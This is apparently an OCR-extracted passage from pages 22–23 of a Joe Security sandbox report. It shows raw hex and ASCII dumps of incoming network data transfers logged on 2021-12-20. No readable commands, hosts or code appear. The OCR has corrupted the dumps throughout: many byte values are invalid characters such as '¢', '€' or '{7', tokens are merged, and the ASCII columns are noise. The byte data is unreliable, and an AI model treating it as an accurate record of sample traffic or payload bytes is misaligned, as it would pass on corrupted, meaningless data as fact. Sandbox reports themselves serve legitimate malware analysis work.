23 2d bb 7f a2 17 ec 52 20 32 40 fa 8d 17 a4 63 df 72 9d 72 c6 7 29 64 2a 1c 6¢ 4e 18 52 68 aa e2 88 dc 0f 48 {7 27 ea
81 95 e6 25 ee 5b d0 59 e6 b5 92 05 9f be 2d 79 b6 75 fd 42 7e d8 78 50 2a 63 83 5e 2e 38 {7 6a al b4 2 bc 26 fc 84 c6
al 9e 60 b8 7d 7e 33 al 3c 46 67 67 be 72 21 al 1le 17
Data Ascii: Ayy]WbO0bf}6d[;[Z4SdLT\Le6{MwN8)jv76 o]te-vOvSzGDwpFEOI-Xim5r0"><f#-R 2@crr)d*INRhH'%[Y-
yuB~xP*c”.8j& }~3<Fggr!

2021-12-20 13:26:00 UTC 88 IN Data Raw: 97 2a a7 09 28 e0 fc 59 7f 5a aa 18 cc 04 b7 80 ba 66 ce 2f 00 25 b1 18 34 fa dd 94 a5 60 Ob 02 7d 9b 08 40 f3
ca 86 5d d7 35 dc c2 8 Oe bc 80 8b 3¢ 6a bb 60 0d 9e e5 8c e0 98 99 eb 8e 30 11 99 cd 6a e6 5a ff 09 63 59 df 39 e4 aa
3e 11 6¢ Oe cc 66 a3 8¢ f5 f6 51 ba c0 64 91 cb ca c6 65 de d8 d5 f4 9a 85 06 f3 31 a2 c4 ec 7d 66 5d 46 31 48 aa 08 9c
4d 06 fd 1a 23 e6 58 be 87 3e a2 4d 43 80 38 33 db 0f b9 59 40 dc 82 f3 {7 1c 8e cb 6d 7c f4 cO 08 b8 56 d7 10 84 d0 1d
97 311 73 ¢8 3b b7 36 1f 08 86 84 a9 8d b0 5e 1d Oc 25 Ob 10 ba 7f d2 4b 87 a3 85 3d e0 11 36 61 ed 36 38 11 2c 5b €6
0d 6¢ 66 fd c7 65 75 ff 7c 14 04 5d c3 17 6¢ 4d e5 78 86 9a 8d a0 fa fa 4e 69 8d 50 74 91 b1 e0 7e 7d ce cd 7e e6 66 bc
dc 97 95 16 9b 6b ef 2d c2 99 ae e3 d1 47 38 a4 97 6b
Data Ascii: *(YZf/%4 }@]5<j 0jZcY9>IfQde1}f]JFIHM#X>MC83Y @m|Vs;6"%K=6a68,[Ifeu]IMxNiPt~}~fk-G8k

2021-12-20 13:26:00 UTC 90 IN Data Raw: 01 af 6a €3 03 13 45 8e 96 dd cd c0 e6 65 5¢ b7 f8 65 b5 fa €6 7c 9c b9 d8 e9 78 9b 01 9a bb c1 {7 ed df 9¢c b0
82 9d 37 2f 66 39 b6 6f da 81 e6 7a b2 a3 6b 90 c2 ae 66 4d 2f ¢7 d2 14 ad 3e 2d bc 18 29 43 8e 8d 6f dO ae 05 97 eb d8
b7 59 8a 7b b5 59 09 a4 40 48 df e4 4e 39 4e 61 89 e3 ce b8 8f 16 c8 6b c0 5b 4a a0 5¢ c2 18 5d a3 17 e2 b4 b5 a5 e6 bc
b7 bf ff b7 d0 3e d7 d2 d5 el c5 2f 32 ae 18 3f af 90 a5 3c e5 2a 46 bd 80 65 01 cO c9 a8 7e 3b 3c d3 ce a0 e7 eb 4f 20 al
00 e4 4e e2 2 81 26 d5 2d 02 1f 14 13 3b 40 65 e4 73 55 al ce c6 24 52 49 db 2f b4 11 34 1d 13 0f 94 34 b0 al 51 8b 73
8093 cc a7 07 53 b2 34 6a 1c ac c7 24 f6 d1 51 e4 2f f4 ff {6 3e 02 f2 44 36 f0 39 e8 40 c9 60 07 5f 4b 1f 17 aa 2a 99 73
76 65 el dd bf 44 bd e3 f8 b8 17 1c 12 28 36 aa
Data Ascii: jEe\e|x7/f90zkfM/>-)CoY{Y @HN9Nak[J\]>/2?<*Fe~;<O N&-;@esU$RI/44QsS4j$Q/>D69@ _K*sveD(6

2021-12-20 13:26:00 UTC 91 IN Data Raw: 66 7 20 de 32 49 0d 8b e6 33 ae ad d3 d4 03 78 77 51 85 1f f0 85 33 ed 09 14 fa f2 9d ff ¢6 c6 56 5b 94 7b 8d
43 c1 6d 8d 45 8b 67 d6 c5 f0 72 8e 9b 6e de 85 el 8e 92 64 2a 51 4b 49 2a d7 81 19 b8 5d c1 76 ¢9 43 {7 3b 9a 07 4f 66
5f 76 31 ff c9 9a 34 42 36 68 74 cO 95 5f 40 85 ad ff 21 09 8a 13 a6 3f e4 dd 44 7e c2 cf 9a 14 b1 a7 8c 6a 45 6e d1 16 42
1le aa 46 51 49 51 10 d0 71 9f a3 c9 46 c5 da ce 6 7b 38 97 63 a3 5e b0 82 a9 e4 4e 27 18 9b 41 6d 34 c2 cb cf 53 42 49
16 4c 2f 4f 02 8a 84 6b 32 56 d2 30 2d e1 31 e2 c9 03 9¢ 38 a5 92 2¢ 10 4b 70 01 cd 95 07 7f 14 0d 85 79 cd 08 da Of 24
7d 70 45 a6 f7 00 €9 e2 ff a4 52 50 8¢ 46 24 8a f5 4f f5 3¢ d9 7e 7b db 59 79 2b fd 48 df 3d ed c4 32 11 47 d4 33 65 87 f2
9f 25 66 17 33 f4 d6 27 1f d4 b4 80 85 5e 29 ed
Data Ascii: f 213xwQ3V[{CmEgrd*QKI*vC;Of_v14B6ht_@!?D~JEnBFQIQqF{8c N'Am4SBIL/Ok2V0-18,Kpy$}pERPF$O<~
{Yy+H=2G3e%f3")

2021-12-20 13:26:00 UTC 92 IN Data Raw: 46 ee 69 9c 8b 36 7f de dO c3 81 8c fc 30 50 bf 93 14 4e c5 4c 3f ef 08 c2 40 4f 26 21 53 52 d0 60 9f 17 16 63
6e fe 62 a7 83 50 35 c3 a3 2c ef 63 82 d7 c3 2b 61 fa c8 0a 8a 01 cd f8 3a db 38 9a 86 ce 45 2a 88 9d a4 e2 ab f6 48 2e
c9 21 ff a8 63 f3 a7 a8 bf b9 a5 20 b3 89 12 89 e6 39 2 f2 24 37 2b 0f c3 ef 54 ¢3 84 el 72 0e 34 70 93 71 b7 bd 49 53 20
36 73 a2 5a 3a 2a ba 75 4c 4f 7e c4 47 55 5d 4e 53 9a ee df 78 56 8e 7a c7 de cc c7 6a 12 37 ec 24 ea 36 1le 49 de a2 84
ab ee 49 30 97 74 72 1c b7 8e 7c 5e 6¢ f1 8f 9b c9 30 8d d6 04 21 47 c¢1 0d 35 e8 50 76 db 91 1b dc 7f 35 1f 84 62 d7 05
da 49 f1 83 75 ea 63 a0 a6 2f c9 1a 65 32 ee 91 61 Ob 72 94 1 89 8c ff 98 7d Od 8e 6a 54 78 85 99 bb 34 c0 2f 7a 17 cO
b5 90 b9 dd de 82 d8 e4 48 5e ac 96 87 86 3c 51 68
Data Ascii: FIGOPNL?@O&!SR cnbP5,c+a:8E*H.!c 9$7+Tr4pqlS 6sZ:*uLO~GU]NSxVzj7$6110tr|"0!G5Pv5bluc/e2
ar}jTx4/zH"<Qh

2021-12-20 13:26:00 UTC 93 IN Data Raw: d7 cf 26 78 71 92 83 d6 ed 9c e9 cb 2a f6 77 cb c9 ce ad 4c 8e 72 7d 66 3c 4f 1c fd e7 2d 67 b4 d4 35 11 5c 98
74 36 1e ad fc 32 e4 79 c7 7e 8c 6e e5 ec ba 30 0d a2 1b fe 39 f1 47 ce ad bb 33 3d bd 71 85 49 da 46 1d 5b 48 b4 ca 48
€0 93 ce 89 b5 ba 73 96 3a 13 31 ab 5d a9 f4 fe 78 5e 58 07 1a f6 ec 3e 24 c5 cb 9e 66 15 de 2e 45 ae 63 29 65 0f 49 20
6 7d da e7 43 94 80 75 b4 d3 d6 7c 93 5¢ f2 82 8f 40 b3 7c 77 da 16 fe 57 e5 ce c4 a3 e8 6a a8 90 5d cf 58 50 92 80 2b
Oc f3 ef a4 cf e4 e2 4f f2 4d 87 93 3e 8f 02 68 52 dc b0 93 98 19 06 9f 2 7e b9 a8 46 19 df 8e e8 34 66 48 88 69 f1 a3 01
b9 81 9b 76 79 4f 79 45 86 a8 0d db 55 20 5f 17 c6 6f 62 67 d4 d3 8d a9 b6 8e a0 45 18 db 04 df 91 d2 9a 3c ¢6 c3 f1 aa
15 d1 05 20 12 f3 da 63 7e e2 b4 fd ff fa d3 75 2f
Data Ascii: &xg*wLrH<O-g5\t62y~n09G3=qIF[HHs:1]x"X>$f.Ec)el }Cu|\@|wW/]]XP+OM>hR~F4fHivyOyEU _obgE< c~u/

2021-12-20 13:26:00 UTC 95 IN Data Raw: 1d ec 87 3b 1f a7 82 8f 6¢ ac cb 1f 83 42 20 bb 7d Oe al 97 3d 6a d0 aa 70 fd 00 25 c0 ec 3e b0 93 6e 43 7b 56
8e 17 c7 a5 ab 38 95 4d Oc b1 53 d2 el b3 95 d6 5¢ b7 45 11 19 8a bd f1 34 1c 3a 81 bd 26 78 29 1a 19 67 78 51 bb ae
9a b8 3e d6 16 08 17 e9 a7 aa 9e d8 da 24 d3 84 d8 59 1e 5f 58 ¢8 1d 5f 13 52 ed a9 ab 94 dc 7d 58 62 ae 84 ec d9 3e e4
of 4f af ce a6 80 a2 93 a9 f5 08 31 cb 46 ¢5 82 08 56 5d c0 19 3¢ 72 ca 77 6a Oc 56 09 ad fc 42 9d 05 bd 95 de e7 45 49
83 d2 e2 33 c0 99 43 6b a3 05 49 ec b0 Oa fc 13 a0 ad d4 9f 31 ae 9d 5b 42 e fb ce c4 ab df 95 93 71 d4 d7 fd 10 0d 40
5c al 75 72 8c 6a 09 df bl 47 7f 0d 93 el 67 2a 98 85 7e 3f 54 7c 29 5b ff 05 7d 51 23 Oa 03 ea Oa c4 5f 06 09 dd 97 96
7c 52 53 df 6¢ ae ed 46 de 80 3f 04 02 c3 59 ae d6 d1 1d
Data Ascii: ;1B }=jp%>nC{V8MS\E4:&x)gxQ>$Y_X_R}Xb>O1FV]<rwjVBEI3CkI1[Bq@\urjGg*~?T|)[}Q#_|RSIF?Y

2021-12-20 13:26:00 UTC 96 IN Data Raw: ba ec 6b de ce d1 98 57 1a fa da 8e 03 03 18 58 3 d5 8e 30 5e 3a €9 7c 6f dc 2c e0 59 42 4b 79 e4 2b 3d 7f 6f
db 89 5a b3 31 87 ¢5 54 a2 35 01 c4 61 15 43 80 59 98 58 f0 53 37 6f 33 7c fe ad ed 50 da 74 67 84 c4 12 bf e3 12 1c 82
7b 26 61 7f 8e 1e €8 7b ef d8 d8 f7 1e 75 be 3f 4c a0 32 c6 ba ec ce 88 cf b7 ch 42 42 72 ad fa e0 06 9a 96 7c 05 9f 99 3e
b5 Oe 58 de be 16 44 94 c9 9d 71 a2 9f 82 70 da 9a a2 39 8b e6 2e 1le 48 81 ef ac bb 68 69 6d Oe c6 2e 11 33 4a da d8
74 9d c2 9c 79 b6 05 ¢3 83 50 13 b2 ef eb bb 03 a4 5a 12 fe 4f b7 95 5c e6 6e 40 bd f3 69 54 5 12 39 21 81 bl ¢7 1c 58 f9
55 e2 ec 39 2¢ 57 16 57 0f e8 d7 b6 6f 91 71 2a 8d 3a 79 c7 66 07 30 c8 a7 84 90 74 b9 4a 5c dd 8¢ fO 7a 06 92 94 4d 4f
al 61 f5 46 94 ad 96 de 66 4f 95 53 ca 1c 4c ba 69
Data Ascii: kWX0”:|o,YBKy+=0Z1T5aCYXS703|Ptg{&a{u?L2BBr|>XDgp9.Hhim.3JtyPZO\n@iT9!XU9,WWoq*:yfOtJ\zM
OaFfOSLi

2021-12-20 13:26:00 UTC 97 IN Data Raw: 4e e3 61 21 82 32 fb 76 69 1e a7 ed cf d2 74 af ce c6 a8 20 a7 ab f5 5b 09 b6 c9 3f 7e al 41 52 8a 6f 46 07 7b
10 c4 Oc 1d 2a 52 03 a3 1f 24 fc 0d 89 b6 7a e8 20 2e 1d be d7 e9 7b 93 eb 55 49 17 d9 f5 03 15 7b 99 91 {7 c1 21 d6 a4
1b d9 14 61 db 55 db 84 31 63 b1 77 8b 10 0d d7 fc 4b 42 4d 01 2f 1a 1f 4d bb €9 26 3c 93 67 Of ff 2b 69 33 f2 07 ec 51 aa
9d 2f6b df 11 d7 eb 26 51 a4 08 80 15 99 45 72 71 e4 6a 92 b5 49 57 9f 4e 70 08 a7 cb 71 c0 eb bd 6f 32 c6 53 78 Oe 4b
c8 16 2a cf ff 4b 7c 2e 64 38 c6 8c e7 bd ba 86 a2 a2 f4 ac 03 fd fa 82 d1 8f 81 88 7b ee df 47 8b 0f Oc al 90 ba 69 81 c9
ledac92c 7b 59 cc ad 43 fb d7 92 8f ec 1d c0 1a 16 9f f8 30 44 4a 90 49 f9 50 b1 02 d6 c7 e6 03 23 21 63 6¢ c9 38 29 6f
1c 85 a6 87 e7 6f e0 fa 71 6d 11 5e 50 20 de
Data Ascii: Nal2vit [?~ARoF{*R$z {Ul{!aUlcwKBM/M&<g+i3Q/k&QErqjIWNpgqo2SxK*K|.d8{Gi {YCODJIP#!cl8)oogm”"P

Copyright Joe Security LLC 2021 Page 22 of 31



kBytes
Timestamp transferred Direction Data

2021-12-20 13:26:00 UTC 98 IN Data Raw: 11 c9 fO 25 9b ae 9a 8d 85 5d 20 1d 38 65 1b 64 93 6b 6b 1b a7 d5 1d 4f d0 05 fe 62 92 ab 5f ae 39 fa 6f 27 c5
45 b3 48 43 bc ea d6 9b 84 €9 49 e9 34 08 a5 ee 62 b2 7c 8b 38 4e e7 5e ef a6 79 ca e5 9a 20 b8 14 d6 3c a9 6f b5 08 87
8b 51 d2 e3 6¢ 97 51 87 c8 b3 2c db Oe 8e 16 58 a7 d4 cf 4f 4f ed a6 ac 8e ce 26 07 b1 70 c9 db 34 e7 49 7e fe 39 a2 98
78 ca 1c fe f9 85 31 2a 48 f9 16 7e fc €8 4f ¢7 46 75 c9 c6 48 73 2f 5a 32 d6 96 bb fc 22 79 5f 08 52 21 0b d1 d1 f3 c4 f8 bd
9b 2a 40 71 12 b7 f2 75 dd cf 67 49 da cc ab 93 5b 1a 81 55 c5 61 4a 65 11 c3 4e 09 db d0 Oa 7b fa €5 c0 07 a0 ea e3 c7
b8 95 16 8c 85 46 2c 15 bd 98 f7 04 2f 26 07 ec 8¢ 38 40 b5 2b e4 6¢ 3f 2d 4f 5a 0b c4 17 71 01 5e fd ad 68 59 35 55 a8
9e be 41 08 39 35 05 41 d3 c4 a5 21 f7 83 b2 e2
Data Ascii: %] 8edkkOb_90'EHCI4b|8N"y <0QIQ,XO0&p4I~9x1*H~OFuHs/Z2"y R!*@qugl[UaJeN{F,/&8@+I?-OZg"hY
5UA95A!

2021-12-20 13:26:00 UTC 99 IN Data Raw: c6 48 94 50 c1 96 b3 e6 83 8f d9 ad f3 9f 9e dc Oc b7 6¢ a4 11 66 3b 39 f5 64 c2 3¢ 14 29 36 93 b5 cf fc 46 2e
3a 90 d4 5b b5 2d b1 81 6d c5 Oa cd d4 08 al 70 06 8d 74 9d 7d fe c1 2c ae 25 a4 2e d9 bf 35 2a e5 b4 df 7d 8b f2 08 ba
b5 1e 6b 56 52 95 70 dd 10 9e 4a c8 c7 2a eb 68 2e 52 Oe fc 9a fd 8e 50 03 ee 31 a9 41 cd ee 82 88 2d d9 89 b7 e4 08 43
16 67 cc c9 c5 2f e9 c0 de fc 45 a7 53 8b 14 80 54 65 ea 23 57 c1 e5 95 e8 4c a4 63 a8 15 d1 9a 58 29 e6 cf ff d2 59 d1
7d 6e de b2 00 45 be be 35 97 0a d4 7f e5 68 4c 5e 5f 93 8e ab 96 92 f0 64 38 e6 06 66 2e c5 2b 5a 4c 5a cf 48 71 78 39
30 06 2f 2d 4e d5 ee 76 64 98 6e d1 22 86 59 al al a5 cb 7f 59 20 3b 4e 6f e6 90 ac 40 3e 06 d2 11 2f ba 9b 8b 2a 14 74
a9 4e 0d e0 27 0d 69 5f fc dd 9c 76 ed e0 24 b8 cd 39
Data Ascii: HPIf;9d<)6F.:[-mpt},%.5*}kVRpJ*h.RP1A-Cg/ESTe#WLcX)YInEShL”_d8f.+ZLZHgx90/-Nvdn"YY ;No@>
J*tN'i_v$9

2021-12-20 13:26:00 UTC 101 IN Data Raw: bd 5a bf 76 aa eb f6 6¢ Oc 26 9b 6d 1f 6a bf 49 51 a7 9f 1c 89 eb 99 3f 7e 74 69 Oe f6 11 7f Ob 37 88 95 b2 a0
9c 7c 03 36 88 6d a5 ch 55 01 cf e2 5e 5a Oe b0 7e 59 ab dc fe 0d f7 cd 9a Oa dc 98 36 52 28 c6 16 23 d6 2f bd 67 69 c4
51 56 be bc 52 ce a6 d3 53 9f fO bf Oc 1f 28 4c df 82 bc 4f e2 ac b8 48 2f 6¢ ea 4a 67 92 33 70 d9 8 98 a9 ef 53 f4 44 3b
c7 fc 4e 0d ae 5b 63 b4 d3 38 e4 a2 02 82 f3 71 17 12 33 ¢6 bd 3e e5 79 0d 95 c6 ed 3d 77 15 c6 53 13 24 19 97 48 fa 31
12 95 7f af 49 a1 86 71 b7 45 8b 58 29 5e 29 09 44 88 50 71 30 7c 97 62 c8 5 Ob fd 2d ee b4 c0 8e 59 1b fa ab 14 cc 40
6a 17 bl fc 62 bc 54 Oe bd 7f 0d 58 9f 1a 16 27 a3 89 9f b5 19 84 90 2b 7c 53 5d 69 9e 58 e4 4e 3d 31 5b a0 cO db al 96
35833106 ec a9 ae 7c 8e cb 1d b5 01 06 32 26 dO
Data Ascii: ZvI&mjlQ?~ti7|6mU"Z~Y6R(#/giQVRS(LOH/IJg3pSD;N[c8g3>y=wS$H1IgEX)")DPqO|b-Y @jbTX'+|S]iXN=
1[51|2&

2021-12-20 13:26:00 UTC 102 IN Data Raw: ¢8 d6 06 9 65 4c c1 be 2f dc 2a 6d ce 1d a5 28 8f 93 ¢7 6b 6e de 79 71 41 19 25 4a 77 22 68 69 64 5e b8 1b
42 73 2e fe 59 b5 5d dd 5a ab 6a 29 e8 {3 22 {7 4e 32 75 b4 05 26 57 09 9e 37 61 4c ac 48 e5 b2 74 4e la a7 4d 94 a7 1d
1f b3 a2 a5 f1 5a 12 ba 97 89 49 Ob d0 86 04 9d ea 6d 29 9c ec 72 10 36 75 38 6e c9 e3 3e 9c d6 d2 44 aa 36 ef 37 1d ab
d7 96 6¢ al 90 94 44 df 09 06 3d d4 2e 34 8b 70 3f 25 00 80 96 3c aa 09 00 dc Ob a9 be 65 ec 03 73 d6 25 bf 29 67 3e 29
b9 11 55 cd 09 27 e3 53 28 b5 2b 63 26 23 d7 ec 75 8b cf 2e el e2 85 21 61 e2 73 b8 60 80 a5 2d eb da 4f 75 2 33 a8 08
df e8 3a 2c ¢3 9e 3c 19 9¢ 7d dO c5 2b bd af 37 f5 82 90 95 fe ea 2f 4e 6b fa 58 dc c6 54 73 75 bc al dd 36 af 9c aa 79 22
4c b2 al 6557 12 30 cc 89 df ab d5 12 2a 06 71 e0 79
Data Ascii: eL/*m(knyqA%Jw"hid”Bs.Y]Zj)"N2u&W7aLHtNMZIm)réu8n>D67ID=.4p?%<es%)g>)U'S(+c&#u.!las’-Ou3:,
<}H7INKkXTsuby"LeWO0*qy

2021-12-20 13:26:00 UTC 103 IN Data Raw: 61 07 7b f1 cc 76 5a 3c 07 8e 74 50 69 51 40 03 2f bb 81 e3 57 d9 cf 33 96 4a d6 28 5f 6a 92 5e 21 13 5a da fO
5c fa cb d5 86 ea bf 68 5a c6 02 1d 50 25 c4 16 al ec a7 20 18 20 34 b5 0b 9d a3 de ce 48 d6 10 ae c7 6¢ 17 57 f6 ad ae
86 9f 1a ab 7d 7b 52 3a 38 b7 Oc 5b 3d 91 2f 32 75 90 al 78 e4 47 8e 37 41 8f 73 ¢7 96 4b fd 56 7c 77 1a 72 Ob 8d 15 Of
dd 8d a7 ee 31 0f de 30 6f 2b 21 ba 4f d2 4b c4 3c 53 €9 7f 3e a9 b9 b9 77 bl df 2f 09 20 0Of 54 32 52 47 d3 f2 69 cb bf b4
7f65f5 fd ca 8a f5 c4 ¢9 59 b6 61 49 79 8d db 92 50 31 8a a9 6a f6 d8 10 6b 1e c9 cd c8 1a 52 41 86 6b bd 36 1c d8 dO
6244018286 97 7b a3 b1 28 93 dc 7b 82 b0 73 73 €3 04 19 57 ce ce b0 67 c8 7c f1 ca fb 25 c4 3f 78 b0 99 21 d8 07 50
a4 39 a2 b5 bf 77 6e b7 57 Oe 5b 46 Oc 83 2d 3b 5¢
Data Ascii: afvZ<tPiQ@/W3J(_jMZ\hZP% 4HIWHR:8[=/2uxG7AsKV|wr100+OK<S>w/ T2RGieYalyP1jkRAk6bD{({s
SWg|%?x!IPOwnWIF-;\

2021-12-20 13:26:00 UTC 104 IN Data Raw: 98 38 de 94 1c d5 44 fc ed 52 93 87 ee cb 96 74 a9 98 15 5¢ 06 8c d0 ed 90 {7 21 64 f0 ea 35 cf 1e d1 7f 71 b4
74 4b 5d 7f 35 bb d1 72 06 0d e4 b9 94 d5 32 f5 ac 79 bb 02 b4 8 1e d8 6d 36 5 fb b5 6¢ db 67 2d 62 4d 50 b3 e3 {7 40
b3 b3 b0 74 fa 85 c6 b0 67 9f 47 75 ef 37 75 27 dd 09 77 71 cd ea c0 40 17 6b d6 c4 3c 4b e0 6a 36 5b f6 97 ea c7 cc e4
80 07 a5 28 c1 8f 60 2f a7 f4 95 72 7b ¢3 21 95 ff 63 fd 40 2d 16 c9 ea 4f ef df fa Oe f2 2e 3¢ 76 e0 2f 2d d7 2b 99 ee 30 5e
b8 19 Ob 69 22 c¢3 03 2 d3 98 81 30 35 22 bb 56 fd 30 07 d4 6e 90 03 4c 02 6d d3 b1 9a 9c 2e 23 0f el 7d 7c 45 42 d4 4a
da 3e b3 61 d0 40 99 09 7e 54 34 48 31 bb 45 e9 79 4d fO Oc e5 f2 68 10 da 15 61 03 b0 d4 4e 8a 52 dc ed b5 bl e8 45 2¢
b9 6¢ 62 c0 3b 84 99 6d cb b3 53 93 16 Oe al 6b
Data Ascii: 8DRt\!d5qtK]5r2ym6lg-bMP@tgGu7u'wq@Kk<K|6[(/r{!c@-0.<v/-+0"i"05"VOnLm.#}|EBJ>a@~T4H1EyMh
aNRE,Ib;mSk

2021-12-20 13:26:00 UTC 106 IN Data Raw: fb 49 d6 4c 7f c8 b8 88 b4 7c 7f bd 9c cf a8 ca 7c 43 59 88 8b d8 a4 f7 78 3d 31 88 d8 fb fd 3b 30 €0 29 d2 67
e4 2b 35 2d 37 10 20 44 ea €9 al 06 00 ab 3a 7f da Oe 17 3b 1d 90 cc 7a 49 02 bc c2 5 05 74 96 71 c5 5 8a f9 32 16 1le
ea d8 ch 43 ea 98 9a a2 11 89 fc 9f 4e 07 d1 c7 ff c4 8b 80 43 87 e5 7b ¢5 Oc c5 e6 ca 71 79 8e 6f 60 86 bl 9e 58 a7 f4 88
67 ed la el a2 cc 8c ae 81 37 f3 79 b2 77 b1 d1 45 2f a3 5b 00 bc 40 b6 c5 fO df 8a a2 04 7d 52 ¢5 1e b2 61 6e 96 73 9b
ac de 39 1c 5a 06 62 16 64 b6 fc f5 2b 96 €0 59 c9 67 52 ec e7 41 ¢5 €0 42 c3 ad 53 11 9c 7b b1l b8 fc a0 df 8f 23 3d 4d
0d 36 51 c1 af 32 ae 6a 10 99 2d fd 36 2a 82 el cc c6 9b c5 b5 85 29 af b0 2a bc 86 dc da cc 99 35 81 73 d2 21 61 2b 4b
el 17 42 6d c3 53 4e 1b 1e 99 37 d9 4f 36 79 e6 a8
Data Ascii: IL||CYx=1;0)g+5-7 D:;zItq2CNC{qyo Xg7ywE/[@}Rans9Zbd+YgRABS{#=M6Q2j-6*)*5s!a+KBMSN706y

2021-12-20 13:26:00 UTC 107 IN Data Raw: 80 7e cf 14 25 37 f5 09 c5 Oe 38 57 a8 80 91 f2 88 70 97 51 80 f7 6f b9 fa aa 32 40 74 70 41 5f b6 2a 2d cc 01
aa 54 ae 2b fb 05 5a 4f 09 c8 e3 ec el 01 ff 1e 22 79 25 8d e7 23 0f bc ¢5 14 25 22 3a bd a3 f2 f4 ef 18 74 47 fb 4c 51 19
15 e6 b3 2f 79 b9 b2 13 e2 6d a4 2c bl 5f 22 cb d3 d3 5b d4 0a 65 d0 16 Of a7 31 52 bf 0d b6 65 07 76 2f 9f dc 2e 49 f2 47
c5d1 c2 b7 cc 4b 54 fb ac 03 57 fe 3a 6e 25 14 a9 bc 80 65 96 51 ef 38 €0 7b 33 Ob 1a 50 48 19 8d 2b 02 52 87 a6 45 48
53 28 a4 bd 91 0f d0 1f 22 e0 89 8c c9 45 dO bc 49 51 87 71 c8 15 4d 4f db Ob fO 11 0d a6 90 b9 61 34 bb 55 56 49 le 7d
88 c7 38 69 18 6b de a8 a2 70 4b 52 1a 3e e0 87 f8 01 88 8e e7 8e a9 55 a2 13 d3 5¢ 03 a8 61 09 4f ae 18 ba d6 1c 77 fc
dd a4 al 66 33 23 c3 28 b7 43 Oc 49 42 4d 64 8d
Data Ascii: ~%78WpQo2@tpA_*-T+Z0O"y%#%"tGLQ/ym,_"[e1Rev/.IGKTW:n%eQ8{3PH+REHS("EIQqMOa4uVI
}8ikpKR>U\aOwf3#(CIBMd

2021-12-20 13:26:00 UTC 108 IN Data Raw: 3a e0 0a 79 Oe 73 1d 71 db da d9 e0 6b c2 30 7b 8e 88 ca d1 4e 9c 98 b8 71 eb 8d 5c 28 81 ef 64 2f 8d 72 c6
74 3d 76 e8 5f d5 56 ff c4 6b bc 5d 36 d7 22 6a 1f 62 43 57 49 ¢5 9d 14 8e 92 be aa 8d 03 80 bd 93 64 ed 4d 7c f6 3a 8d
88 b0 af 50 18 58 88 4b 79 e4 8 b0 0Of b4 02 8c 47 Ob 2e 36 39 06 4a b3 f9 14 el 63 44 cf 20 73 1b 08 47 d1 47 99 a6 fa
2a 111526 27 eadl 34 d0 a2 f6 72 eb 01 86 76 00 ff 49 8e 63 6d 9e le el fb 50 2c aa 9d 38 b3 31 €9 4b 2b ce 88 9c 3a
le da 82 47 eaf7 16 f9 ec 82 68 36 2f dc c2 6d 66 50 €5 20 57 94 ¢7 d2 33 49 b7 8b 10 4b da 9a b9 ef 3b dd 28 e3 73 42
12 f8 14 a8 6f a5 2a ba 34 b3 al 6e 6¢ b6 ff 71 10 9f 30 19 88 96 8b 02 de 76 7e 54 fc 74 7c 3a fc 4c Oa 4b 56 5a ee 6a 9a
d5 3b 72 6f 5f 66 87 4a 38 €2 94 4a 84 04 Oc 6d 1b fa
Data Ascii: :ysqkO{Ng\(d/rt=v_VKk]6"jbCWIdM|:PXKyG.69JcD sGG*&'4rvicmP,81K+:Gh6/mfP W3IK;(sBo*4nlqOv~Tt|:LKVZj;
ro_fi8im

Copyright Joe Security LLC 2021 Page 23 of 31



kBytes
Timestamp transferred Direction Data

2021-12-20 13:26:00 UTC 109 IN Data Raw: 9c 14 d6 cb 3¢ ad 56 04 38 7f ce 52 25 b0 78 b5 c5 d8 ea e6 45 22 47 50 16 fc dc cc 36 02 50 c0 7f b9 ¢l 33 55
da d4 98 6b 3e 3b Oc d1 44 08 19 46 24 02 52 66 ed 7f c1 2e 2c Oe 07 c2 2e 86 7 e7 5f 22 21 18 98 7d be cb 95 ab c6 da
52 86 48 fb 62 7e fc f0 cO ab fa 8¢ 45 d4 1c bl 44 df af cf 1b 80 6 95 96 93 e8 1f a5 3a 29 e2 33 92 fa b0 47 98 cf d4 99
7b 5a e8 13 66 09 fb 55 47 2¢ 84 2f 1d 25 b1 0d 28 a9 81 83 aa 7 09 b9 98 64 a2 b3 5d c2 0a 59 8f a5 d3 4a ch 01 97 a5
2 6¢ ea c9 22 86 8e d9 92 fe 90 99 3 2d 3d 82 Of 4a b6 af 6 95 9a f9 ed ae 00 45 76 al 8a d2 Oc 51 al 6d 56 c1 b7 d3
7e ¢8 1c ¢3 37 39 ¢6 7d ce d6 59 94 07 70 5b fb ba 7 ae 85 2d 41 b9 Ob 89 8b d4 b7 50 0d 18 a2 44 dc 07 36 bd e6 3d 5¢
24 ¢0 d9 23 79 80 47 4a 6 cd al c3 5 4f 9f c9 48
Data Ascii: <V8RY%XE"GP6P3Uk>;DF$RY.,._"1RHb~ED:)3G{ZfUG,/%(d]YJI"-=JEvQmMV~79}Yp[-APD6=\$#yGJOH

2021-12-20 13:26:00 UTC 111 IN Data Raw: cc 9b 4e bd 43 98 75 b8 00 a8 cd 59 1d f6 b2 74 da 67 6a ed 3c 40 47 9f 97 28 6e 4e ed f2 ec b7 2c bd a3 8e
1le 49 ae a0 20 00 f1 b2 2b 6b a3 47 d7 8e ee 1f 06 cf 4a 67 07 7d el 22 1d 38 94 15 9f f1 12 d2 b5 08 50 36 ba cc f2 b3
bb b9 fa bc fc 5d 43 51 ef 25 54 5a ef eb 6a 32 30 ae 81 92 4f d5 dc 8c 47 d5 d2 03 dO 89 69 60 93 7d 03 06 f4 b2 54 ff 21
91 81 f7 132 2e 77 72 54 fe 8d 5¢c d2 eb 69 e2 03 3f dO 71 ac bc 3f e8 21 f4 b1 05 f7 dO b5 75 6f 5d 31 50 e5 59 bd 2e df
0d 30 20 6f 8e 7c dd 89 19 3f 39 59 80 cc f0O 8a de f5 7d 4e 5a a4 df 4a 8d 7c 09 08 07 ff e4 6d fd 03 38 06 3a 12 3e b3 80
77 25 b5 5 86 62 62 c9 dc b9 97 28 5a 1a b9 65 04 da 61 4f f5 53 5d c7 28 40 5b €3 00 12 6a 56 54 09 73 €9 27 33 b2 db
94 74 27 90 22 4a 2d 97 10 ae 37 27 f0 32 25 bd
Data Ascii: NCuYtgj<@G(nN,| +kGJg}"8P6]CQ%TZj200Gi }TL.wrT\i?q?!uc]1PY.0 o|?9Y}INZJ|m8:>w%bb(ZeaOS](@
[iVTs'3t"J-72%

2021-12-20 13:26:00 UTC 112 IN Data Raw: 6d df 29 6d e8 e5 47 9b el b8 31 20 39 e6 9a 87 2 ff 58 b3 c8 b5 8d 57 1a dc dO 45 70 5c ce 18 e0 56 a4 51
